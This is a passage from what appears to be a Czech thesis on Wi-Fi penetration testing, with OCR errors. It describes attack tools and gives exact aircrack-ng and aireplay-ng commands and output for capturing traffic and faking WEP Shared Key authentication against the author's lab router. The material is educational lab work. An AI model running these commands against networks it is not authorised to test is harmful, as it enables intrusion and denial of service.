BlackArch je distribuce postavena na opera¢nim systému Arch Linux [33]. M4
sviij vlastni repozitar testovacich nastroju.

Po vybéru operacniho systému je také volba, zda tento systém primo instalovat
nebo pouzit virtualiza¢ni software. Vyhodou virtualizace je jednoduché nakonfiguro-
vani a velka flexibilita, jak se systémem nakladat. Nevyhodou muze byt nizsi stabilita

a horsi vykon. [34]

3.2.2 Zvoleny operacni systém

V ramci prace byly vyuzity predevsim dva operacni systémy. Pro praci s WiFi kartou
se jedna o Kali Linux a pro praci s SDR BackBox.

U Kali Linux se konkrétné jedna o verzi Kali Linux 2019.3 bézici na Kernelu
5.2.0. Jako virtualni prostiedi slouzi Oracle VM VirtualBox 6.0. V ramci nastaveni
virtudlniho pocitace je diilezité nastaveni sité a nastaveni pripojenych zafizeni. Si-
tovy adaptér virtualniho prostredi je v rezimu NAT, coz systému umozni preklad
adres pres hostitelsky PC a pristup k internetu. V nastaveni USB zaTizeni je povolena
Wi-Fi karta.

Samotny Kali Linux je casto distribuovan jako predinstalovany klon, a neni tak
tfeba jej instalovat. Jelikoz je to systém specializovany na penetracni testovani, je
od zakladu pripraven na testovani a neni tieba jej dlouze konfigurovat. Vyjimkou je
v tomto pripadé nastaveni Wi-Fi karty.

Adaptér TP-Link TL-WN722N v2 nativné nepodporuje monitorovaci rezim. Starsi
verze tohoto modelu, oznacované jako TP-Link TL-WN722N v1 mély spravny chip-
set a tuto funkci podporovaly [30]. Novéjsi proddvané modely vsak maji, i pres témeér

stejny néazev, jiny chipset, a proto monitorovaci rezim nelze jednoduse zprovoznit.
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Nastésti je tento problém verejné znam, a proto existuji uzivateli vytvorené dri-
very do Kali Linux, které monitorovaci rezim odblokuji [35]. Po jejich instalaci se jiz
monitorovaci méd dé zapnout. Nejdiive je potfeba zjistit informace o bezdratovych

rozhranich v systému. Toho jde dosahnout pomoci prikazu
iwconfig

Ten vypise vSechna bezdratova rozhrani. Jde tu i zjistit v jakém rezimu se dané
rozhrani nachazi v polozce ,Mode®. V zakladnim nastaveni je rezim Auto. Pro na-

staveni monitorovaciho rezimu lze pouzit prikaz
iwconfig <wlan interface> mode monitor

Zda karta opravdu pouziva monitorovaci rezim, lze zjistit opét pomoci prikazu
iwconfig.

Dalsim vhodnym krokem je pouzit prikaz
airmon-ng check kill

ktery zastavi vSechny procesy, které by mohly ovliviiovat dalsi praci. V tento moment
uz je testovaci pocita¢ pripraven pro testovani bezpecnosti pomoci WiFi adaptéru.

Problém nastava v pripadé SDR, a to z nékolika davodi. Néktery software a
knihovny, kterych je nutno vyuzit, jsou mnohem jednoduseji zprovoznitelné na dis-
tribucich zalozenych na Ubuntu. Dalsim divodem, pro¢ je pro SDR vyuzit jiny
operacni systém, je problém virtualizace. Jelikoz je néktery SDR software hard-
virtualizace ma pomérné velky negativni dopad na vykon. Lepsi napad je proto po-
uzit nainstalovany operac¢ni systém. Nabizi se proto vyuziti nativnich Windows na
testovacim PC. Zde je zase problém nedostupnosti velké ¢asti potfebného softwaru,
urcité omezené testovani vsak lze provadét i ve Windows.

ReSenfm je tak nainstalovani néjaké Linuxové distribuce do dual-boot spolu s
Windows. Pro testovani byl vybran BackBox Linux, ktery je zalozeny na Ubuntu,
coz by mélo zjednodusit ¢asti instalace. Instalace OS byla provedena pomoci USB,

konkrétné se jedné o verzi BackBox 6.

3.2.3 Testovaci programy

Kali Linux ma v zakladu nainstalovanou celou radu programi, které lze vyuzit
pro testovani bezdratovych siti a vice specificky k testovani bezpecnosti protokoli
802.11. Daji se rozdélit do dvou kategorii — programy, které primo provadi utoky, a
programy, které jsou nastavbou nad témito programy. Vétsinou umoznuji spoustét
programy z prvni kategorie jednodussim a vice automatizovanym zptisobem.

Mezi programy v prvni kategorii pat¥i aircrack-ng, cowpatty, reaver, piziewps a
mdks3.
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Mezi programy v druhé kategorii patii fern wifi cracker a wifite.

aircrack-ng

Aircrack-ng je jeden z nejpouzivanéjsich programu v oblasti zabezpeceni bezdrato-
vych siti. Jedna se o balic¢ek utilit, slouzici k testovani bezpecnosti Wi-Fi siti. Je to
primarné konzolova aplikaci bez GUI (Graphical User Interface).

aircrack-ng — prvni z utilit zamérena na crackovani kli¢ti pouzivanych u WEP
a WPA komunikace. Predpokladem je jiz zachycena komunikace; aircrack-ng diky
ni dokaze zjistit pouzivand hesla.

airmon-ng — tato utilita slouzi pfedevsim k ovladani uzivanych bezdratovych
rozhrani a nastavovani rezimi.

airodump-ng — jedna se o analyzator paketi (Packet Sniffer). Dokaze odhalit
AP v okoli a ukaze uzivateli dulezita data jako jejich MAC adresy, SSID a pouzivané
kanaly. Dalsi funkci pak je zachyt paketti pro danou sit. Tyto pakety je mozno
ukladat do souborii, se kterymi dale pracuji dalsi utility v rdmci aircracku.

aireplay-ng — tato utilita slouzi k injektovani paketii. Funguje v rtiznych utoc-
nych médech. Dokaze napriklad injektovat zachycené ARP pakety, provadét falesnou
autentizaci nebo testovat injektovani. Jednim z utokt, ktery dokaze provadét, je tzv.
deautentizacni ttok. Jedna se o DoS (Denial of Service) utok, ktery vysle AP paket
s zadosti o deautentizaci. Misto sebe vsak deautentizuje jakéhokoliv uzivatele, ktery
je k AP pripojeny.

airdecap-ng — utilita slouzici k desifrovani zachycenych paketti za predpokladu
znalosti pouzivaného klice.

airtun-ng — slouzi k vytvareni tuneli mezi zafizenim a cilem.

packetforge-ng — slouzi k vytvareni vlastnich paketi. Bud lze vybrat z nabid-
nutych typtu (ARP, UDP, ICMP), nebo vytvorit kompletné vlastni paket.

ivstools — slouzi k ziskavani inicializacnich vektorti ze zachycenych paketii.

airbase-ng — viceucelova utilita zamérena na utoky vuci klienttiim namisto AP.
Implementuje ttoky Caffe Latte a Hirte.

airdecloack-ng — utilita slouzici k praci se zachycenymi pakety.

airolib-ng — uklada ESSID a hesla, dale umi vypocitavat PMK

airserv-ng — utilita, ktera umoznuje pristup k bezdratovym kartam jinych po-
citaci

buddy-ng a easside-ng — dvojice utilit, které umoznuji komunikaci s AP, bez
znalosti WEP klice. Buddy-ng je pomocny server pro easside-ng.

tkiptun-ng — utilita zamérend na ttoky proti WPA/TKIP protokolu

wesside-ng — jednd se o utilitu k automatickému zjistovani WEP kli¢t

besside-ng - jedna se o utilitu k automatickému zjistovani WPA klica
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Celkove tak aircrack-ng nabizi Siroky arzenal testovacich nastroji zamérenych
na rodinu protokoli 802.11. Jedna se tedy o jeden z nejzédkladnéjsich programu v

ramci penetracniho testovani. [36]

cowpatty

Cowpatty je podpirnou utilitou. Jeji hlavni funkci je vypocet hashi a nasledné
hesel na zakladé zadaného slovniku a zachycené komunikace, urcenych pro ttoky
viaci WPA /PSK protokolim. Jedna se o soubor dvou utilit.

Prvni z nich je utilita genpmk. Ta plni funkci predbézného vypocétu PMK. Jeho
vstupem je slovnik hesel a SSID daného AP. Pomoci téchto 2 informaci vygeneruje
genpmk soubor hashii, které se rovnaji potencialnim PMK vyuzivanych v této siti
za predpokladu, Ze se heslo nachazi ve slovniku.

Druhd utilita, cowpatty, uz slouzi k samotnému zjisténi pouzivaného hesla.
Jeho vstupy jsou soubor hashii vygenerovany genpmk a soubor zachycené ¢tyrcestné
vymeény. V této vymeéneé se vypocitava finalni kli¢ na zakladé PMK a dalsich znamych
proménnych. Za predpokladu, ze zname PMK a ostatni proménné, lze vypocitat i
MIC zpravy, které se béhem vymény posilaji. Pokud se vypocitana MIC zprava
shoduje se zachycenou, znamena to, ze jsme pouzili spravné PMK, a tedy i spravné
heslo.

Prvni krok predbézného vypoctu pomoci genpmk slouzi ke zrychleni celého

utoku. S timto postupem lze zjistit pouzité heslo fadové v sekundach. [20][37]

reaver

Reaver je utilita slouzici k utoktim na AP pouzivajici WPS, a to presnéji PIN ttok.
Jak bylo popséano v kapitole WPS, jedna se o itok hrubou silou. Reaver se jednoduse
snazi uhadnout pouzivany PIN tak, Ze postupné zkousi vSechny moznosti. Rychlost
tohoto ttoku sice neni prilis velka, jeden PIN je vyzkousen za priblizné 4 sekundy;,
ale vzhledem k malému mnozstvi moznych PIN1, lze dosdhnout vysledku do 12
hodin.

Jedinym argumentem, ktery reaver potrebuje, je BSSID AP a samoziejmé i
mozné spojeni k tomuto AP. S utilitou reaver je dale tizce spojena utilita pixiewps.
Tu lze spustit primo s pomoci reaver, pokud pri spousténi pouzijeme argument ,-K*

Po uspésném ttoku reaver také vypiSe pouzivané heslo, které dostane od AP.
[20] [38]

pixiewps

Pixiewps je utilita, ktera provadi utok Pixie Dust. Ten byl popsan v kapitole WPS.

Pixiewps vyzaduje jako povinné argumenty verejné klice PKE a PKR, déle hashe
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e-hashl a e-hash2, kli¢ authkey a ¢islo enrollee nonce. Jelikoz ziskavani téchto idajt
primo ze zachycenych paketi neni prilis efektivni, je mnohem jednodussi spustit
pixiewps skrze utilitu reaver, kterd vsechny tyto argumenty zjisti za uzivatele. Pi-
xiewps funguje pouze proti malé casti routert, které obsahuje slabinu, ale pokud je

utok uspésny, dokaze zjistit pouzité heslo béhem par sekund.

mdk3

Mdk3 je samozvany ,proof of concept® nastroj slouzici k urc¢itému druhu utoki na
sité 802.11. Specializuje se na DoS utoky. Mezi utoky, které umoznuje, jsou:

» Beacon Flood — utok, ve kterém je okoli zaplaveno zpravami beacon. Uzivate-
lim se tak zacnou objevovat faleSna AP.

o Authentication DoS — utoc¢nik zacne posilat autentizacni ramce vsem AP v
okoli. Tim je dokéaze zahltit ¢i dokonce vynutit restart.

o Deauthentication Amok — tto¢nik deautentizuje vsechny uzivatele komuniku-
jici s danym AP a tim je odpoji.

e Michael Shutdown Exploitation — velmi specificky utok, ktery zneuziva MIC
zpravy v protokolu TKIP. Jak bylo vysvétleno v kapitole 1.3.4 Sifrovani WPA-
JWPA2, pokud v rdmci jedné minuty AP prijme 2 zpravy, u kterych kontrolni
MIC neodpovida, klienta na 1 minutu odpoji. Mdk3 zachyti néjaky paket mezi
danym klientem a AP a pak ho dvakrat preposle AP se spatnym MIC. Tim
by mélo dojit k odpojeni klienta.

o 802.1x DoS testy — ttok, pri kterém je AP zaplaveno EAPOL pakety. Pracuje
ve 2 médech, bud vysila EAPOL Start nebo EAPOL Logoff pakety.

Mdk3 také vétsinou dava moznosti tyto ttoky omezit jen na specifické MAC

adresy coz umoznuje lepsi kontrolu nad testem. [39]

fern wifi

Fern wifi a wifite slouzi ke stejnému ucelu. Jednd se o nastavbu, kterda urcitym
zpusobem zjednodusuje praci s predchozimi utilitami.

Fern wifi je specificky tim, zZe se jedné o jedinou utilitu, ktera vyuziva GUL Je tak
velmi uzivatelsky pristupna a jednoducha na pouziti. Po spusténi fern automaticky
detekuje bezdratova rozhrani a po vybéru je prepne do monitorovaciho rezimu.

Déle ucini sken okolnich AP a rozttidi je podle toho, zda pouzivaji WEP nebo
WPA. Uzivatel si vybere AP, na ktery chce zautocit a fern provede utok. Pro WPA
je to slovnikovy ttok, proto dava fern uzivateli moznost vybéru slovniku. Pokud je
utok uspésny, vypise utilita pouzivané heslo.

Dalsi funkci je databaze klict. Fern si uchovava diive zjisténé klice pro dané

BSSID. Uzivatel tak ma prehled o jiz zjisténych klicich, které lze pozdéji pouzit. [40]
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wifite

Wifite je velmi podobny utilité fern. Nejvétsim rozdilem je, Ze wifite je konzolova
aplikace. Vyuziva predevsim utilit aircrack-ng. Thned po zapnuti provede sken sité
pomoci airodump-ng a da uzivateli na vybér, ktery AP chce napadnout. Zaroven
vypise informace o kazdém z nich — jeho SSID, zda pouzivaji WEP nebo WPA, zda
méa AP povoleno WPS, na jakém kanalu vysila, kolik klientu je ptfipojenych.

Uzivatel si vybere cil a zbytek uz wifite udéla za néj. Zacne s nejrychlejsimi utoky
a postupné vyzkousi vSechny mozné itoky, dokud se néktery nepodari.

Wifite uzivatelim nabizi i dalsi moznosti jako napriklad vybér utilita na crac-
kovani hesel. Kromé jiz zminéného aircrack a cowpatty je to populdrni John the
Ripper a Hashcat.

Podobné jako fern si uchovava jiz zjisténa hesla a dalsi informace o jednotlivych
AP, a to v souboru cracked.txt. [41]

Dalsi testovaci programy a skripty

Na podobném principu jako wifite a fern funguje mnoho dalsich utilit, které lze
doinstalovat. Jako priklady lze uvést WiFiBroot [42], bettercap [43], airgeddon [44],
WiFiHunter [45] a mnoho dalsich. Jelikoz je pouzivani téchto utilit velmi jednoduché
a podobné jako prechozi programy, neni tfeba se jimi zabyvat do hloubky.

Pro testovani zranitelnosti KRACK je nutno vyuzit predem vytvorenych skripti,
které poskytuji pfimo vyzkumnici, ktefi tuto zranitelnost objevili [46]. Skripty sice
lze pouzit samostatné, ale pro potieby testovani v této praci bude vytvorena vlastni
utilita, ktera pouzivani usnadni. Skripty, a tim padem i utilita neslouzi k samotnému
utoceni, jelikoz vektor utoku u KRACKu je pomérné slaby, ale dokdzou rozeznat,
zda je testované zafizeni zranitelné nebo ne.

Zranitelnost KrOOk je pomérné nova ale i tak uz existuje nékolik utilit, které
ji dokazou zneuzit. Jednd se o napiiklad krOOker [47] nebo rOOkie-krOOkie [48]. Jde
o pomérné piimocaré utility, které se pokusi o ttok na zadané zarizeni. KrOOker
podporuje utok jak na klienta, tak i na AP, zatimco rOOkie-krOOkie je zaméren pouze
na klientska zarizeni.

Nékteré utoky funguji 1épe pokud mezi testovanym klientem a AP dochazi k
vétsimu provozu nez za normélnich okolnosti. Pro potieby testovani tedy mohou
byt pomocné nékteré aplikace, které tento provoz dokazou simulovat. Na Android je

to naptiklad aplikace Packets Generator [49], ale lze jich nalézt nezmérné mnozstvi.

Wireshark

Dalsim uzite¢nym nastrojem je program Wireshark. Jednd se o analyzator paketi,

ktery miuze pri testovani pomoct k zjistovani riznych informaci o paketech, o tom,
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k jaké komunikaci dochéazi, ¢i analyzovat pouzivané protokoly. Wireshark je jednim

z nejzéakladnéjsich programi pro zkoumani elektronické komunikace.

Software pro SDR

PIné zprovoznéni SDR pro ucely testovani potiebuje pomérné extenzivni mnozstvi
softwaru. Predevsim se jedna o oficialni drivery, které umozni pouzivani SDR. Na
Windows je nainstalovani pomérné jednoduché. Po zapojeni do USB (vyrazné je
doporuceno zde pouzivat USB 3.0) je mozné najit SDR ve Spréavci zafizeni, kde uz
jde automaticky vyhledat a nainstalovat aktualizace. Pro Linux lze stahnout PPA
balicek, ktery obsahuje vétsinu driverti, prerekvizit a software LimeSuite [50].

Zde se ukazuje vyhoda distribuci zalozenych na Ubuntu Linux, protoze jiné distri-
buce PPA balicky nativné nepodporuji a je pak nutno tento software instalovat z Git
zdroje, coz je zbytecné slozité. LimeSuite je balicek programt, které umoznuji primé
nastavovani LimeSDR. Z téchto programt jsou dilezité LimeUtil, LimeQuickTest a
LimeSuiteGUI. LimeUtil umoznuje mimo jiné prokazat, zda systém dokaze s SDR

komunikovat, a to pomoci:
LimeUtil --find

Vystup prikazu lze vidét na vypisu 3.1.

Vypis 3.1: Vypis prikazu LimeUtil --find

* [LimeSDR-USB, media=USB 3.0, module=FX3, addr=1d50:6108, serial
=0009072C00D6321F]

LimeQuickTest je, jak nazev napovida, rychly testovaci software, ktery zkontro-

luje, zda SDR funguje spravné sérii testi. Toho je dosazeno prikazem:
LimeQuickTest

Jeden z testu v pripadé pouzivaného SDR sice obcas selze, ale celkové se da
predpokladat, ze SDR funguje a s testovanim lze pokracovat. Aplikace LimeSuite-
GUI pak nabizi detailni nastaveni vsech aspekti SDR. Podle postupu uvedeném na
strance LimeSDR lze provést nékolik dalsich testi [51], ale v rdmci préce je neni
nutné podrobné rozebirat, vsechny dopadly podle ocekavani.

Po tomto zdkladnim softwaru lze jiz pristoupit k vyuzivani aplikaci uréenych
k béznému uzivani SDR. Nejjednodussimi piiklady jsou programy, které slouzi ke
specifickym funkcim, jako je napriklad analyza radiového spektra. Téchto programu
existuje obrovska rada, jeden z nich je SDRSharp. Jedna se o aplikaci pro Windows,
ktera umoznuje jednoduché zkoumani spektra a automatického prevadéni zachy-
cené¢ho signalu na audio. D4 se tak napriklad vyuzit pro poslouchani FM réadia.

Konkrétnéji je zde nutné stahnout verzi obsahujici pluginy pro LimeSDR [52].
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Pokud existuje potieba s SDR pracovat vice do hloubky, existuje nékolik pro-
gramt, které dokazou vyuzit flexibilnost SDR k mnohem vétsi skéle funkei. Nejroz-
sifenéjsi takovou platformou pro SDR je GNURadio [53]. Jedna se o toolkit, ktery
umoznuje uzivatelim vytvaret modely, pomoci kterych je SDR ovladano a pomoci
kterych je dale zpracovavan signal. Vyuziva se zde blokt, které jsou spojovany do
modelli. Toto umoznuje pomérné efektivni a uzivatelsky privétivé pouzivani SDR.
Vekou vyhodou je pak modularita a moznost vytvaret vlastni bloky a rozsitovat tak
funkcionalitu vsech SDR.

Instalaci GNURadia pro Linux lze dosdhnout nékolika zpiisoby, pficemz nej-
schudnéjsi je vyuziti balicku PyBOMBS. Ten proces zjednodusuje automatickym
instalovanim prerekvizit, a predevsim po nainstalovani umoznuje jednoduché pri-
davani novych bloki a rozsifujicich balicku [54]. Cely proces instalace balicku a
naslednou instalaci GNURadia lze najit na Github strance PyBOMBS [55].

Aby GNURadio dokéazalo pouzivat LimeSDR, je potieba doinstalovat balicek
gr-limesdr. Pro samotné zpracovavani WiFi signalu v ramci GNURadia pak existuje
balicek gr-ieee802-11 [56]. Tento balicek bloku byl vytvoren jako sou¢dst projektu
Wime (Wireless Measurement and Experimentation) [57]. Jedna se o experimentalni
balicek blokt, které dohromady dokézou zpracovat WiFi signaly a teoreticky umozni
zachyt provozu podobné jako WiFi karta v monitorovacim rezimu.

Instalaci téchto blokt pak lze provést jednoduse pomoci prikazu:

pybombs install gr-limesdr
pybombs install gr-ieee-80211

Balicek také obsahuje jiz hotové modely, které lze pouzit, v ramci testovani pre-
devsim model ,wifi rx.grc“. Velkou vyhodou je moznost propojeni modelu s Wire-
sharkem. Model zachycené pakety uklada do FIFO souboru, ktery pak lze otevtit ve
Wiresharku, a zivé tak sledovat provoz.

Balicek vSsak méa nékolik nevyhod. Model podporuje jen nékteré protokoly IEEE
802.11, konkrétné 802.11 a, g a p. Velkou prekazkou pak je velkd narocnost na
hardware pocitace. Model musi zpracovavat velké mnozstvi prijatych dat, coz vyza-
duje pomérné vykonné CPU. Jelikoz se jednéa o neoficidlni a experimentalni doplnék
GNURadia, jeho podpora je pomérné mala a neni iplné jednoduché fesit problémy,
ke kterym miize dojit.

Je také se potieba zamyslet nad tim, jaké typy testi lze s dostupnymi modely v
balicku provadét. Témér vsechny momentalné dostupné testovaci utility jsou uzpi-
sobené k praci s WiFi adaptérem, a i kdyz je nejspis technicky mozné je zprovoznit
tak, aby fungovaly s SDR, realitou je, Ze moznost testovani bude dosti omezena.
Konkrétneé si lze predstavit pouzivani SDR k utokim na autentizaci WPA2, kde

staci zachytit ¢tyfcestnou vyménu a poté pouzit utilitu, ktera zjisti pouzivané heslo.
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3.3 Laboratorni prostredi

Po vybéru hardwaru a softwaru uz zbyva pouze sestavit laboratorni prostiedi. To je
pomérné jednoduché. V rameci testovani je tfeba nasimulovat jednoduchou sit. Jelikoz
k naprosté vétsiné testu stac¢i pouze AP, klient a utoc¢nik, lze si vystacit s témito
tremi prvky. Jako AP poslouzi vybrany router TP-Link TL-WR741ND, jako klient
vybrany mobilni telefon Xiaomi. Jako uto¢nik poslouzi testovaci pocitac s Windows
10, s virtualizovanym Kali Linux a vybranou Wi-Fi kartou TPLink TL-WN722N
v2. Pro testy s SDR je to pak pocitac¢ s BackBox Linux a vybranym LimeSDR.

; | Bezdratova komunikace | ! H

Klient - mobil AP - Router

Odposlouchavani

Komunikace s AP

/

|

Testovaci PC

Obr. 3.1: Schéma laborarniho prostredi

Zapojeni je jednoduché, router neni tfeba pripojovat k WAN, takze jej staci pouze
zapnout; nastavovani je pak provadéno prihlasenim do spravy bud skrze mobilni
telefon nebo testovaci pocitac. Testovaci pocitac je pripojen k internetu, coz ulehcuje
testovani v pripadé, ze je potieba ziskat dodatecné informace ¢i doinstalovat soucasti

Kali Linux. Schéma tohoto zapojeni je na obrazku 3.1.
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4 Praktické testovani bezpecnosti Wi-Fi

V ramci testovani byla provedena demonstrace testovacich utilit a skriptt v Kali Li-
nux popsanych v kapitole 3.2.3 Testovaci programy, dale je vytvorena vlastni utilita
a jsou vyzkouseny moznosti SDR.

Nez zacne testovani, je tfeba si ovérit zda je AP spravné nastaveno, tedy zda
pouziva spravny protokol a zkontrolovat SSID sité. V pripadé vybraného AP se staci
pripojit do jeho nastaveni a zkontrolovat zalozku Wireless Security. Na obrazku 4.1
je vidét nabidka bezpecnostnich protokoli a jejich nastaveni. Pro ucely prace je jako
SSID zvoleno ,, TestNet*.

Wireless Security

( Disable Security

O WEP
WEP Key Format:
Key Selected WEP Key Key Type
Key1 @  [heslo |[sabit |
Key 2
Key 3:
Key 4:
O WPA/WPA2

Radius Port: 1812 (1-85535, 0 stands for default port 1812)

Radius Password:

Group Key Update Period: l:l {in second, minimum is 30, 0 means no updaie)

= WPA-PSK/WPA2-PSK

Version: WPAZ-PSK b

Encryption: AES ~

PSK Password: |abcdefgh

(fou can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.)

Group Key Update Period: l:l (in second, minimum is 30, 0 means no update)

Obr. 4.1: Nastaveni bezpecnosti AP

Déle je pred kazdym testem potifeba ovérit, zda je pripojena Wi-Fi karta a zda

se nachazi v monitorovacim rezimu. K tomu lze vyuzit prikaz
iwconfig

Ten vypise vsechna pritomnd bezdratova rozhrani (viz 4.2).
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root@oshoxes:~# iwconfig

lo

wlan®

ethe

no wireless extensions.

unassociated MNickname:"<WIFI@REALTEK=>"

Mode:Managed Frequency=2.462 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/100 5Signal level=0 dBm Noise level=8 dBm

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:@

Tx excessive retries:® Invalid misc:@ Missed beacon:@

no wireless extensions.

Obr. 4.2: Vypis prikazu iwconfig

Déle je nutno pouzit prikaz:

airmon-ng check kill

Ten ukonc¢i procesy, které by mohly prekazet béhem testovani. Také umozni

prepnout rozhrani wlan0 do monitorovaciho rezimu. To Ize provést naptiklad pomoci

prikazu

iwconfig wlan0 mode monitor

Nasledné lze opét zkontrolovat stav pomoci prikazu

iwconfig

root@osboxes:~-# iwconfig

wlane

lo

ethe

IEEE 802.11b ESSID:"" Nickname:"<WIFI@REALTEK=>"

Mode:Monitor Frequency:2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/100 Signal level=-108 dBm HNoise level=0 dBm

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:@

Tx excessive retries:®@ Invalid misc:® Missed beacon:®

no wireless extensions.

no wireless extensions.

Obr. 4.3: Vypis prikazu iwconfig po zapnuti monitorovaciho rezimu

Na obrézku 4.3 jiz je vidét, ze karta je v monitorovacim rezimu (polozka Mode).

Nyni je vSe pripraveno k testovani.

50



4.1 Aircrack-ng

Pomoci utility aircrack-ng byly otestovany ttoky na sit pouzivajici protokol WEP,
a to konkrétné ttok na autentizaci Shared Key (popsan v kapitole 2.1.1 Zranitel-
nost autentizace Shared Key) a ttok na sifrovaini WEP pomoci ttoku vyuzivajici
opakovani IV (popsan v kapitole 2.1.2 Slabiny Sifrovani WEP). Déle dtoky na sit
vyuzivajici protokol WPA2(PSK) pomoci ttoku hrubou silou a je demonstrovana
moznost desifrovani paketii. Konecné byl také demonstrovan pokus o utok Caffe
Latte popsany v kapitole 2.1.3 Utok Caffe Latte.

Prvnim krokem vSech utoku je zjisténi MAC adresy AP. Lze vyuzit utility

airodump-ng:

airodump-ng wlanO

CH 4 ][ Elapsed: 48 s ][ 2019-12-15 07:18

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDynet
34:2C:C4:5D:65:FC -1 2] 6] 6] 1 -1 <length: 0>
F4:EC:38:B2:55:F2 -32 226 [¢] 0 11 54e. WEP WEP TestNet
56:67:11:DB:8F:47 -56 175 [¢] [¢] 8 270 WPA2 CCMP MGT UPC Wi-Free
54:67:51:DB:8F:47 -56 173 13 [¢] 8 270 WPA2 CCMP PSK Skynet
78:C1:A7:09:F2:E8 -64 162 2] 2] 3 130 WPA2 CCMP PSK MujO2Internet ©9F2ES8
04:8D0:38:09:C1:94 -71 43 [¢] [¢] 2 54 WPAZ2 CCMP PSK VOIP9
D4:6E:QE:7A:40:D2 -72 35 2] 2] 2 130 OPN TP-LINK Extender 7A40D2
20:2B:C1:98:B4:D4 -69 113 [¢] [¢] 9 130 WPA CCMP PSK Internet
28:FF:3E:34:54:0A -74 65 3 0 11 130 WPA2Z CCMP PSK Local Barber Shop
38:43:7D:61:BB:AB -76 14 [¢] [¢] 6 130 WPA2 CCMP PSK Stable connection
3A:43:1D:61:BB:AB -78 18 [¢] [¢] 6 130 WPA2 CCMP MGT UPC Wi-Free
FO:7D:68:B2:E9:9D -78 21 [¢] 0 11 54 WPA TKIP PSK KOBU
EC:43:F6:77:66:F8 -79 1 [¢] 0 11 65 WPAZ2 CCMP PSK Andulkovi
C8:D9:D2:C3:D8:A9 -78 0 [¢] 0 11 65 WPAZ2 CCMP PSK DIRECT-AB-HP 0fficelet
38:43:7D:EF:54:A9 -76 5 [¢] [¢] 6 130 WPA2 CCMP PSK Smetanovic 6

BSSID STATION PWR Rate Lost Frames Probe

34:2C:C4:5D:65:FC 00:08:CA:F7:C8:65 -76 0 -1 28 6 Preklizka

(not associated) D8:CE:3A:2C:94:57 -72 0 -1 0] 4

(not associated) 64:A6:51:AF:45:1D -72 0 -1 [¢] 1 323

(not associated) BE:60:DD:78:EA:5A -74 0 -1 [0] 2

(not associated) 7C:49:EB:9E:05:50 -78 e -1 [¢] 1

28:FF:3E:34:54:0A 4C:74:BF:81:3D:6F -1 le- © 2] 1

28:FF:3E:34:54:0A CC:44:63:7A:39:F8 -49 0 -24 [¢] 1

Obr. 4.4: Vypis airodump-ng

Vypis tohoto prikazu je vidét na obrazku 4.4. V horni ¢asti jsou vidét AP v okoli
véetné jejich BSSID (MAC adresa AP), vykon (PWR), pocet zprav Beacon (Be-
acons), pocet zachycenych ramci (#Data), pocet ramct za sekundu (#/s), kanél
(CH), protokol (ENC), sifrovani (CIPHER), autentizace (AUTH) a ESSID (ESSID).
Na obrazku lze vidét i vytvorenou testovaci sit TestNet pouzivajici protokol WEP. V
dolni ¢asti pak lze vidét zarizeni, ktera nejsou pripojena k AP, ale snazi se néjaké na-
jit. Je dobré si zaznacit BSSID testovactho AP, v tomto pripadé F4:EC:38:B2:55:F2.
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4.1.1 Testovani protokolu WEP

V této sekci jsou demonstrovany utoky Shared Key, utok na sifrovani WEP a ttok
Caffe Latte. Nejprve je nutno nastavit AP tak, aby vyuzival protokol WEP. To Ize u
zvoleného AP provést v zalozce Wireless Security. Jako heslo je zvoleno jednoduché
,heslo®, jako typ je zvolena autentizace ,Shared Key*“.

Utok proti autentizaci Shared Key

Pomoci tohoto ttoku lze doséhnout autentizaci k AP bez znalosti hesla.

— S
- autentizace —

Router

Klient

A A

Airodump-ng:
zachyceni

/

Soubor .xor

- 1

Testovaci PC Aireplay-ng:
vypocita keystream

Y

Aireplay-ng:
faleSné autentizace
pomoci keystreamu

A

Obr. 4.5: Schéma ttoku proti autentizaci Shared Key

Prvnim krokem je zachytit autentizaci mezi klientem a AP. K tomu lze opét

vyuzit utilitu airodump-ng. Pomoci prikazu

airodump-ng wlan0O -c 11 --bssid F4:EC:38:B2:55:F2 -w
WEPKey

zacne zachytavani provozu v ramci sité TestNet. Moznost ,,-¢* specifikuje kanal,
na kterém AP vysila a moznost ,,-w* specifikuje ndzev souboru do kterého budeme
zachyceny provoz ukladat. Nasledné je simulovana autentizace klienta na AP jedno-
duse pripojenim se k siti. Airodump-ng automaticky autentizaci zachyti, indikatorem
je, ze se ve sloupci AUTH objevi ,SKA®, znamenajici ,Shared Key Authentication®.
Aircrack-ng by mél v tento moment vygenerovat soubor WEPKey-01- F4-EC-

38-B2-55-F2.xor. V ném je uloZena zachycena autentizace.
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K samotné autentizaci testovaciho pocitace lze pouzit utilitu aireplay-ng:

aireplay-ng -1 0 -e "TestNet" -y
WEPKey -01-F4-EC-38-B2-55-F2.xor -a F4:EC:38:B2:55:F2
-h AA:AA:AA:AA:AA:AA wlanO

Tento priikaz provede falesnou autentizaci fiktivntho klienta s MAC adresou
AA:AAAAAA:AA:AA k AP TestNet pomoci zachyceného souboru.

root@osboxes:-# aireplay-ng -1 @ -e "TestNet" -y WEPKey-01-F4-EC-38-B2-55-F2.xor
-a F4:EC:38:B2:55:F2 -h AA:AA:AA:AA:AA:AA wWlan®
The interface MAC (D0:37:45:53:3C:E8) doesn't match the specified MAC (-h).
ifconfig wlan® hw ether AA:AA:AA:AA:AA:AA
07:22:21 Waiting for beacon frame (B55ID: F4:EC:38:B2:55:F2) on channel 11

87:22:21 Sending Authentication Request (Shared Key) [ACK]
07:22:21 Authentication 1/2 successful

87:22:21 Sending encrypted challenge. [ACK]

07:22:21 Authentication 272 successful

87:22:21 Sending Association Request [ACK]

87:22:21 Association successful :-) (AID: 1)

Obr. 4.6: Vypis aireplay-ng

Na obréazku 4.6 lze vidét, ze autentizace probéhla tispésné. Jde to ovérit napriklad

pomoci prikazu

iwconfig

root@oshoxes:~# iwconfig
lo no wireless extensions.

wlane IEEE 802.11bg ESSID:"TestNet" Nickname:"<WIFIGREALTEK=>"
Mode:Monitor Frequency:2.462 GHz Access Point: F4:EC:38:B2:55:F2
Sensitivity:0/0
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=1/180 Signal level=-99 dBm HNoise level=0 dBm
